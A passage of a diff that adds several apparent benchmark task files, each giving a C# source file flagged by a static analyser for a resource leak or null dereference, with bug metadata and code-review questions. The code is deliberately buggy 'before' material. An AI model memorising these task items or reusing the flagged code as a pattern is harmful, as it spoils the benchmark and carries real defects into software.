+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        #endregion
+
+
+
+
+
+
+
+        #region TryGuessCidr
+
+        [TestMethod]
+        public void TestTryGuessCidrNull() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr(null, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(0, cidr, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryGuessCidr1() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("::", out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(64, cidr, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryGuessCidr2() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("2001:0db8::", out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(64, cidr, "cidr");
+        }
+
+
+        #endregion
+
+
+
+
+        #region Count
+
+        [TestMethod]
+        public void Total32() {
+            var network = IPNetwork.Parse("::/128");
+            var total = 1;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total31() {
+            var network = IPNetwork.Parse("::/127");
+            var total = 2;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total30() {
+            var network = IPNetwork.Parse("::/126");
+            var total = 4;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total24() {
+            var network = IPNetwork.Parse("::/120");
+            var total = 256;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total16() {
+            var network = IPNetwork.Parse("::/112");
+            var total = 65536;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total8() {
+            var network = IPNetwork.Parse("::/104");
+            var total = 16777216;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total0() {
+            var network = IPNetwork.Parse("::/0");
+            var total = BigInteger.Pow(2, 128);
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        #endregion
+
+        #region Usable
+
+        [TestMethod]
+        public void Usable32() {
+            var network = IPNetwork.Parse("::/128");
+            uint usable = 1;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable31() {
+            var network = IPNetwork.Parse("::/127");
+            uint usable = 2;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable30() {
+            var network = IPNetwork.Parse("::/126");
+            uint usable = 4;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable24() {
+            var network = IPNetwork.Parse("::/120");
+            uint usable = 256;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable16() {
+            var network = IPNetwork.Parse("::/112");
+            uint usable = 65536;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable8() {
+            var network = IPNetwork.Parse("::/104");
+            uint usable = 16777216;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable0() {
+            var network = IPNetwork.Parse("::/0");
+            var usable = BigInteger.Pow(2, 128);
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        #endregion
+
+        #region TryParseCidr
+
+        [TestMethod]
+        public void TryParseCidr1() {
+
+            string sidr = "0";
+            byte? cidr;
+            byte? result = 0;
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr2() {
+
+            string sidr = "sadsd";
+            byte? cidr;
+            byte? result = null;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr33() {
+
+            string sidr = "33";
+            byte? cidr;
+            byte result = 33;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr128() {
+
+            string sidr = "128";
+            byte? cidr;
+            byte result = 128;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+        [TestMethod]
+        public void TryParseCidr129() {
+
+            string sidr = "129";
+            byte? cidr;
+            byte? result = null;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        #endregion
+
+
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource subnets of type System.Net.IPNetworkCollection in method "Void IPNetworkV6UnitTest.TestSubnet5()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void IPNetworkV6UnitTest.TestSubnet5()
+
+### File:
+src/System.Net.IPNetwork.TestProject.Source/IPNetworkV6UnitTest.cs
+
+### Key:
+IPNetworkV6UnitTest.cs|TestSubnet5|DOTNET_RESOURCE_LEAK
+
+### Hash:
+e637a29fbafc763cfe82cfb9c6f58c95
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1646/instruction.md b/inferredbugs-1646/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2e54c9d0a96a6007bbae35bd82321ed456868596
--- /dev/null
+++ b/inferredbugs-1646/instruction.md
@@ -0,0 +1,266 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** sensenet
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Data;
+using System.Data.Common;
+using System.Threading;
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using SenseNet.Configuration;
+using SenseNet.ContentRepository.Storage.Data;
+using SenseNet.ContentRepository.Storage.Data.MsSqlClient;
+using SenseNet.Tests.Core;
+
+namespace SenseNet.ContentRepository.Tests
+{
+    [TestClass]
+    public class DataContextTests : TestBase
+    {
+        #region Infrastructure
+        private class TestTransaction : DbTransaction
+        {
+            public bool IsRollbackCalled { get; private set; }
+
+            public override void Commit()
+            {
+                throw new NotImplementedException();
+            }
+
+            public override void Rollback()
+            {
+                IsRollbackCalled = true;
+            }
+
+            protected override DbConnection DbConnection { get; }
+            public override IsolationLevel IsolationLevel { get; }
+        }
+        private class TestConnection : DbConnection
+        {
+            protected override DbTransaction BeginDbTransaction(IsolationLevel isolationLevel)
+            {
+                return new TestTransaction();
+            }
+
+            public override void Close()
+            {
+                throw new NotImplementedException();
+            }
+
+            public override void ChangeDatabase(string databaseName)
+            {
+                throw new NotImplementedException();
+            }
+
+            public override void Open()
+            {
+                // do nothing
+            }
+
+            public override string ConnectionString { get; set; }
+            public override string Database { get; }
+            public override ConnectionState State { get; }
+            public override string DataSource { get; }
+            public override string ServerVersion { get; }
+
+            protected override DbCommand CreateDbCommand()
+            {
+                throw new NotImplementedException();
+            }
+        }
+        private class TestDataContext : SnDataContext
+        {
+            public TestDataContext(CancellationToken cancellationToken) : base(cancellationToken)
+            {
+                // do nothing
+            }
+
+            public override DbConnection CreateConnection()
+            {
+                return new TestConnection();
+            }
+
+            public override DbCommand CreateCommand()
+            {
+                throw new NotImplementedException();
+            }
+
+            public override DbParameter CreateParameter()
+            {
+                throw new NotImplementedException();
+            }
+
+            public override TransactionWrapper WrapTransaction(DbTransaction underlyingTransaction, CancellationToken cancellationToken,
+                TimeSpan timeout = default(TimeSpan))
+            {
+                return null;
+            }
+        }
+        #endregion
+
+        // The prefix DC_ means: DataContext.
+
+        [TestMethod]
+        public void DC_CancellationToken_Default()
+        {
+            var dataContext = new TestDataContext(CancellationToken.None);
+            Assert.AreEqual(CancellationToken.None, dataContext.CancellationToken);
+        }
+        [TestMethod]
+        public void DC_CancellationToken()
+        {
+            var cancellationToken = new CancellationTokenSource(123456).Token;
+            var dataContext = new TestDataContext(cancellationToken);
+            Assert.AreEqual(cancellationToken, dataContext.CancellationToken);
+        }
+        [TestMethod]
+        public void DC_Dispose()
+        {
+            SnDataContext dataContext = null;
+            TestConnection testConnection = null;
+            TestTransaction testTransaction = null;
+            try
+            {
+                using (dataContext = new TestDataContext(CancellationToken.None))
+                {
+                    Assert.IsFalse(dataContext.IsDisposed);
+                    using (var transaction = dataContext.BeginTransaction(IsolationLevel.ReadCommitted, TimeSpan.FromMinutes(10)))
+                    {
+                        testConnection = (TestConnection) dataContext.Connection;
+                        testTransaction = (TestTransaction)dataContext.Transaction.Transaction;
+                        throw new SnNotSupportedException();
+                    }
+                }
+            }
+            catch(SnNotSupportedException)
+            {
+                // do nothing
+            }
+            Assert.IsTrue(testConnection.State == ConnectionState.Closed);
+            Assert.IsTrue(testTransaction.IsRollbackCalled);
+            Assert.IsTrue(dataContext.IsDisposed);
+        }
+
+        [TestMethod]
+        public void DC_MSSQL_Construction_Default()
+        {
+            var dataContext = new MsSqlDataContext(CancellationToken.None);
+            Assert.AreEqual(ConnectionStrings.ConnectionString, dataContext.ConnectionString);
+        }
+        [TestMethod]
+        public void DC_MSSQL_Construction_ConnectionString()
+        {
+            var connectionString = "ConnectionString1";
+            var dataContext = new MsSqlDataContext(connectionString, CancellationToken.None);
+            Assert.AreEqual(connectionString, dataContext.ConnectionString);
+        }
+        [TestMethod]
+        public void DC_MSSQL_Construction_ConnectionInfo()
+        {
+            var connectionInfo = new ConnectionInfo
+            {
+                DataSource = "DataSource1",
+                InitialCatalog = InitialCatalog.Initial,
+                InitialCatalogName = "InitialCatalog1"
+            };
+
+            // ACTION
+            var dataContext = new MsSqlDataContext(connectionInfo, CancellationToken.None);
+
+            // ASSERT
+            var expected = "Data Source=DataSource1;Initial Catalog=InitialCatalog1;Integrated Security=True";
+            Assert.AreEqual(expected, dataContext.ConnectionString);
+        }
+        [TestMethod]
+        public void DC_MSSQL_Construction_ConnectionInfo_Master()
+        {
+            var connectionInfo = new ConnectionInfo
+            {
+                DataSource = "DataSource1",
+                InitialCatalog = InitialCatalog.Master,
+                InitialCatalogName = "InitialCatalog1"
+            };
+
+            // ACTION
+            var dataContext = new MsSqlDataContext(connectionInfo, CancellationToken.None);
+
+            // ASSERT
+            var expected = "Data Source=DataSource1;Initial Catalog=master;Integrated Security=True";
+            Assert.AreEqual(expected, dataContext.ConnectionString);
+        }
+        [TestMethod]
+        public void DC_MSSQL_Construction_ConnectionInfo_UserPassword()
+        {
+            var connectionInfo = new ConnectionInfo
+            {
+                DataSource = "DataSource1",
+                InitialCatalog = InitialCatalog.Initial,
+                InitialCatalogName = "InitialCatalog1",
+                UserName = "User1",
+                Password = "123"
+            };
+
+            // ACTION
+            var dataContext = new MsSqlDataContext(connectionInfo, CancellationToken.None);
+
+            // ASSERT
+            var expected = "Data Source=DataSource1;Initial Catalog=InitialCatalog1;Integrated Security=False;Persist Security Info=False;User ID=User1;Password=123";
+            Assert.AreEqual(expected, dataContext.ConnectionString);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource dataContext of type SenseNet.ContentRepository.Storage.Data.MsSqlClient.MsSqlDataContext in method "Void DataContextTests.DC_MSSQL_Construction_ConnectionInfo_UserPassword()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void DataContextTests.DC_MSSQL_Construction_ConnectionInfo_UserPassword()
+
+### File:
+src/Tests/SenseNet.ContentRepository.Tests/DataContextTests.cs
+
+### Key:
+DataContextTests.cs|DC_MSSQL_Construction_ConnectionInfo_UserPassword|DOTNET_RESOURCE_LEAK
+
+### Hash:
+7b2549cbdbc05e71036ddeb386fd71d4
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1647/instruction.md b/inferredbugs-1647/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..658fb04e86d933905c29641c605bbcbe0d4efe43
--- /dev/null
+++ b/inferredbugs-1647/instruction.md
@@ -0,0 +1,151 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** csharp-sdk
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.IO;
+using System.Text;
+
+namespace QBox.RS
+{
+    public static class ResumablePut
+    {
+        private static int ChunkBits = 22;
+        private static long ChunkSize = 1 << ChunkBits;
+
+        public static ResumablePutFileRet Mkblock(Client client, Stream body, long length)
+        {
+            string url = Config.UP_HOST + "/mkblk/" + Convert.ToString(length);
+            CallRet callRet = client.CallWithBinary(url, "application/octet-stream", body, length);
+            return new ResumablePutFileRet(callRet);
+        }
+
+        public static PutFileRet Mkfile(Client client, string entryURI, long fsize, 
+            string customMeta, string callbackParam, string[] ctxs)
+        {
+            string url = Config.UP_HOST + "/rs-mkfile/" + Base64UrlSafe.Encode(entryURI) + 
+                "/fsize/" + Convert.ToString(fsize);
+            if (!String.IsNullOrEmpty(callbackParam))
+            {
+                url += "/params/" + callbackParam;
+            }
+            if (!String.IsNullOrEmpty(customMeta))
+            {
+                url += "/meta/" + customMeta;
+            }
+
+            using (Stream body = new MemoryStream())
+            {
+                for (int i = 0; i < ctxs.Length; i++)
+                {
+                    byte[] bctx = Encoding.ASCII.GetBytes(ctxs[i]);
+                    body.Write(bctx, 0, bctx.Length);
+                    if (i != ctxs.Length-1)
+                    {
+                        body.WriteByte((byte)',');
+                    }
+                }
+                CallRet ret= client.CallWithBinary(url, "text/plain", body, body.Length);
+                return new PutFileRet(ret);
+            }
+        }
+
+        public static PutFileRet PutFile(
+            Client client, string tableName, string key, string mimeType, 
+            string localFile, string customMeta, string callbackParam)
+        {
+            long fsize = 0;
+            string[] ctxs = null;
+            using (FileStream fs = File.OpenRead(localFile))
+            {
+                fsize = fs.Length;
+                int chunkCnt = (int)((fsize + (ChunkSize - 1)) >> ChunkBits);
+                long chunkSize = ChunkSize;
+                ctxs = new string[chunkCnt];
+                for (int i = 0; i < chunkCnt; i++)
+                {
+                    if (i == chunkCnt - 1)
+                    {
+                        chunkSize = fsize - (i << ChunkBits);
+                    }
+                    ResumablePutFileRet ret = null;
+                    for (int retry = 0; retry < Config.PUT_RETRY_TIMES; retry++)
+                    {
+                        ret = Mkblock(client, fs, chunkSize);
+                        if (ret.OK)
+                        {
+                            ctxs[i] = ret.Ctx;
+                            break;
+                        }
+                    }
+                    if (!ret.OK)
+                    {
+                        Console.WriteLine(ret.Exception.ToString());
+                        return new PutFileRet(new CallRet(ret));
+                    }
+                }
+            }
+
+            string entryURI = tableName + ":" + key;
+            return Mkfile(client, entryURI, fsize, customMeta, callbackParam, ctxs);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `ret` last assigned on line 67 could be null and is dereferenced at line 77, column 21.
+
+### Severity:
+ERROR
+
+### Procedure:
+PutFileRet ResumablePut.PutFile(Client,String,String,String,String,String,String)
+
+### File:
+QBox/RS/ResumablePut.cs
+
+### Key:
+ResumablePut.cs|PutFile|NULL_DEREFERENCE
+
+### Node Key:
+90535029835413c6e5d1bdebbf52bdf9
+
+### Hash:
+1ef013d86d648ea344327dcc5aad07a0
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1648/instruction.md b/inferredbugs-1648/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3cb98b2aa99490dabe827859d81237809b830345
--- /dev/null
+++ b/inferredbugs-1648/instruction.md
@@ -0,0 +1,222 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** csharp-sdk
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using NUnit.Framework;
+using Qiniu.IO;
+using Qiniu.RS;
+using Qiniu.Util;
+using Qiniu.Test.TestHelper;
+
+namespace Qiniu.Test.IO
+{
+	[TestFixture]
+	public class IOClientTest:QiniuTestBase
+	{
+
+		[Test]
+		public void PutPolicyTest(){
+			PutPolicy policy = new PutPolicy ("lskjd:lskd");
+			policy.CallBackUrl = "callbackUrl.com";
+			policy.ReturnUrl = "returnUrl.com";
+			bool exp = false;
+			try{
+				policy.Token ();
+			}catch{
+				exp = true;
+				Assert.IsTrue (true, "PutPolicyTest Failure1");
+			}
+			Assert.IsTrue (exp, "PutPolicyTest Failure2");
+			exp = false;
+
+
+			policy = new PutPolicy ("bucket");
+			policy.CallBackUrl = "callbackUrl.com";
+			try{
+				policy.Token ();
+			}catch{
+				exp = true;
+				Assert.IsTrue (true, "PutPolicyTest Failure3");
+			}
+			Assert.IsTrue (exp, "PutPolicyTest Failure4");
+			exp = false;
+
+
+			policy = new PutPolicy("bucket");
+			policy.CallBackBody="uid=123";
+			policy.CallBackUrl="www.qiniu.com";
+			policy.DetectMime = 1;
+			policy.FsizeLimit=4096;
+			policy.FsizeMin=0;
+			policy.InsertOnly = 1;
+			policy.PersistentNotifyUrl="www.yourdomain.com/persistentNotifyUrl";
+			policy.PersistentOps = "avthumb/m3u8/preset/video_16x9_440k";
+			policy.CallbackHost = "180.97.211.38";
+            policy.CallbackFetchKey = 0;
+            policy.CallbackBodyType = "application/json";
+			try {
+				string result = policy.ToString();
+				string expect = "{\"scope\":\"bucket\",\"callBackUrl\":\"www.qiniu.com\",\"callBackBody\":\"uid=123\",\"deadline\":0,\"insertOnly\":1,\"detectMime\":1,\"fsizeLimit\":4096,\"fsizeMin\":0,\"persistentNotifyUrl\":\"www.yourdomain.com/persistentNotifyUrl\",\"persistentOps\":\"avthumb/m3u8/preset/video_16x9_440k\",\"callbackHost\":\"180.97.211.38\",\"callbackBodyType\":\"application/json\",\"callbackFetchKey\":0}";
+				//Assert.IsTrue(result==expect,"PutPolicyTest Failure5");
+				Assert.AreEqual(result, expect);
+			} catch (Exception ee){
+				Assert.IsTrue (false, ee.Message.ToString());
+			}
+
+		}
+
+		/// <summary>
+		///PutFile 的测试
+		///</summary>
+		[Test]
+		public void PutFileTest()
+		{
+
+			IOClient target = new IOClient();
+			string key = NewKey;
+			PrintLn (key);
+			PutExtra extra = new PutExtra (); // TODO: 初始化为适当的值
+			extra.MimeType = "text/plain";
+			extra.Crc32 = 123;
+			extra.CheckCrc = CheckCrcType.CHECK;
+			extra.Params = new System.Collections.Generic.Dictionary<string, string> ();
+			PutPolicy put = new PutPolicy (Bucket);
+			TmpFIle file = new TmpFIle (1024 * 10);
+			target.PutFinished += new EventHandler<PutRet> ((o,e) => {
+				file.Del ();
+				if (e.OK) {
+					RSHelper.RSDel (Bucket, file.FileName);
+				}
+			});
+
+			PutRet ret = target.PutFile (put.Token (), file.FileName, file.FileName, extra);
+
+			//error params
+			//target.PutFile("error", "error", "error", null);
+			Assert.IsTrue (ret.OK, "PutFileTest Failure");
+
+		}
+		/// <summary>
+		///PutFile 的测试
+		///</summary>
+		[Test]
+		public void PutFileWithoutKeyTest()
+		{
+
+			IOClient target = new IOClient();
+
+			PutExtra extra = new PutExtra (); // TODO: 初始化为适当的值
+			extra.MimeType = "text/plain";
+			extra.Crc32 = 123;
+			extra.CheckCrc = CheckCrcType.CHECK;
+			extra.Params = new System.Collections.Generic.Dictionary<string, string> ();
+			PutPolicy put = new PutPolicy (Bucket);
+			TmpFIle file = new TmpFIle (1024 * 10);
+			target.PutFinished += new EventHandler<PutRet> ((o,e) => {
+				file.Del ();
+				if (e.OK) {
+					RSHelper.RSDel (Bucket, file.FileName);
+				}
+			});
+
+			PutRet ret = target.PutFileWithoutKey (put.Token (),file.FileName, extra);
+
+			Assert.AreEqual (ret.Hash, ret.key, "expected key equal to hash");
+			//error params
+			//target.PutFile("error", "error", "error", null);
+			Assert.IsTrue (ret.OK, "PutFileTest Failure");
+
+		}
+        [Test]
+        public void PutTest()
+        {
+            IOClient target = new IOClient();
+            string key = NewKey;
+            PrintLn(key);
+            PutExtra extra = new PutExtra(); // TODO: 初始化为适当的值
+            extra.MimeType = "text/plain";
+            extra.Crc32 = 123;
+            extra.CheckCrc = CheckCrcType.CHECK;
+            extra.Params = new System.Collections.Generic.Dictionary<string, string>();
+            PutPolicy put = new PutPolicy(Bucket);
+            target.PutFinished += new EventHandler<PutRet>((o, e) =>
+            {
+                if (e.OK)
+                {
+                    RSHelper.RSDel(Bucket, key);
+                }
+            });
+            string token = put.Token();
+            PutRet ret = target.Put(put.Token(), key, StreamEx.ToStream("Hello, Qiniu Cloud!"), extra);
+
+            Assert.IsTrue(ret.OK, "PutFileTest Failure");
+
+        }
+		[Test]
+		public void PutWithoutKeyTest()
+		{
+
+
+		}
+	}
+}
+
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `null` is dereferenced by call to `Token(...)` at line 21, column 5.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void IOClientTest.PutPolicyTest()
+
+### File:
+Qiniu.Test/IO/IOClientTest.cs
+
+### Key:
+IOClientTest.cs|PutPolicyTest|NULL_DEREFERENCE
+
+### Node Key:
+2492dd55e18d4854810eec2af8d6b86c
+
+### Hash:
+b1f4bdb79461149f6e49284e959f9c3b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1649/instruction.md b/inferredbugs-1649/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..57ffe0a2cd6fc6e6e993250c97178ffa26755f4d
--- /dev/null
+++ b/inferredbugs-1649/instruction.md
@@ -0,0 +1,218 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** csharp-sdk
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using NUnit.Framework;
+using Qiniu.IO;
+using Qiniu.RS;
+using Qiniu.Util;
+using Qiniu.Test.TestHelper;
+
+namespace Qiniu.Test.IO
+{
+	[TestFixture]
+	public class IOClientTest:QiniuTestBase
+	{
+
+		[Test]
+		public void PutPolicyTest(){
+			PutPolicy policy = new PutPolicy ("lskjd:lskd");
+			policy.CallBackUrl = "callbackUrl.com";
+			policy.ReturnUrl = "returnUrl.com";
+			bool exp = false;
+			try{
+				policy.Token ();
+			}catch{
+				exp = true;
+				Assert.IsTrue (true, "PutPolicyTest Failure");
+			}
+			Assert.IsTrue (exp, "PutPolicyTest Failure");
+			exp = false;
+
+
+			policy = new PutPolicy ("bucket");
+			policy.CallBackUrl = "callbackUrl.com";
+			try{
+				policy.Token ();
+			}catch{
+				exp = true;
+				Assert.IsTrue (true, "PutPolicyTest Failure");
+			}
+			Assert.IsTrue (exp, "PutPolicyTest Failure");
+			exp = false;
+
+
+			policy = new PutPolicy("bucket");
+			policy.AsyncOps="";
+			policy.CallBackBody="uid=123";
+			policy.CallBackUrl="www.qiniu.com";
+			policy.DetectMime = 1;
+			policy.FsizeLimit=4096;
+			policy.InsertOnly = 1;
+			policy.PersistentNotifyUrl="www.yourdomain.com/persistentNotifyUrl";
+			policy.PersistentOps = "avthumb/m3u8/preset/video_16x9_440k";
+			try {
+				string result = policy.ToString();
+				string expect = "{\"scope\":\"bucket\",\"callBackUrl\":\"www.qiniu.com\",\"callBackBody\":\"uid=123\",\"asyncOps\":\"\",\"deadline\":0,\"insertOnly\":1,\"detectMime\":1,\"fsizeLimit\":4096,\"persistentNotifyUrl\":\"www.yourdomain.com/persistentNotifyUrl\",\"persistentOps\":\"avthumb/m3u8/preset/video_16x9_440k\"}";
+				Assert.IsTrue(result==expect,"PutPolicyTest Failure");
+			} catch (Exception ee){
+				Assert.IsTrue (false, "PutPolicyTest Failure");
+			}	
+
+		}
+
+		/// <summary>
+		///PutFile 的测试
+		///</summary>
+		[Test]
+		public void PutFileTest()
+		{
+
+			IOClient target = new IOClient(); 
+			string key = NewKey;
+			PrintLn (key);
+			PutExtra extra = new PutExtra (); // TODO: 初始化为适当的值
+			extra.MimeType = "text/plain";
+			extra.Crc32 = 123;
+			extra.CheckCrc = CheckCrcType.CHECK;
+			extra.Params = new System.Collections.Generic.Dictionary<string, string> ();
+			PutPolicy put = new PutPolicy (Bucket);
+			TmpFIle file = new TmpFIle (1024 * 10);
+			target.PutFinished += new EventHandler<PutRet> ((o,e) => {
+				file.Del ();
+				if (e.OK) {
+					RSHelper.RSDel (Bucket, file.FileName);
+				}
+			});
+
+			PutRet ret = target.PutFile (put.Token (), file.FileName, file.FileName, extra);
+
+			//error params
+			//target.PutFile("error", "error", "error", null);
+			Assert.IsTrue (ret.OK, "PutFileTest Failure");
+
+		}
+		/// <summary>
+		///PutFile 的测试
+		///</summary>
+		[Test]
+		public void PutFileWithoutKeyTest()
+		{
+
+			IOClient target = new IOClient(); 
+			string key = NewKey;
+			PrintLn (key);
+			PutExtra extra = new PutExtra (); // TODO: 初始化为适当的值
+			extra.MimeType = "text/plain";
+			extra.Crc32 = 123;
+			extra.CheckCrc = CheckCrcType.CHECK;
+			extra.Params = new System.Collections.Generic.Dictionary<string, string> ();
+			PutPolicy put = new PutPolicy (Bucket);
+			TmpFIle file = new TmpFIle (1024 * 10);
+			target.PutFinished += new EventHandler<PutRet> ((o,e) => {
+				file.Del ();
+				if (e.OK) {
+					RSHelper.RSDel (Bucket, file.FileName);
+				}
+			});
+
+			PutRet ret = target.PutFileWithoutKey (put.Token (),file.FileName, extra);
+
+			//error params
+			//target.PutFile("error", "error", "error", null);
+			Assert.IsTrue (ret.OK, "PutFileTest Failure");
+
+		}
+        [Test]
+        public void PutTest()
+        {
+            IOClient target = new IOClient();
+            string key = NewKey;
+            PrintLn(key);
+            PutExtra extra = new PutExtra(); // TODO: 初始化为适当的值
+            extra.MimeType = "text/plain";
+            extra.Crc32 = 123;
+            extra.CheckCrc = CheckCrcType.CHECK;
+            extra.Params = new System.Collections.Generic.Dictionary<string, string>();
+            PutPolicy put = new PutPolicy(Bucket);
+            target.PutFinished += new EventHandler<PutRet>((o, e) =>
+            {
+                if (e.OK)
+                {
+                    RSHelper.RSDel(Bucket, key);
+                }
+            });
+            string token = put.Token();
+            PutRet ret = target.Put(put.Token(), key, StreamEx.ToStream("Hello, Qiniu Cloud!"), extra);
+
+            Assert.IsTrue(ret.OK, "PutFileTest Failure");
+
+        }
+		[Test]
+		public void PutWithoutKeyTest()
+		{
+
+
+		}
+	}
+}
+
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `null` is dereferenced by call to `Token(...)` at line 21, column 5.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void IOClientTest.PutPolicyTest()
+
+### File:
+Qiniu.Test/IO/IOClientTest.cs
+
+### Key:
+IOClientTest.cs|PutPolicyTest|NULL_DEREFERENCE
+
+### Node Key:
+2492dd55e18d4854810eec2af8d6b86c
+
+### Hash:
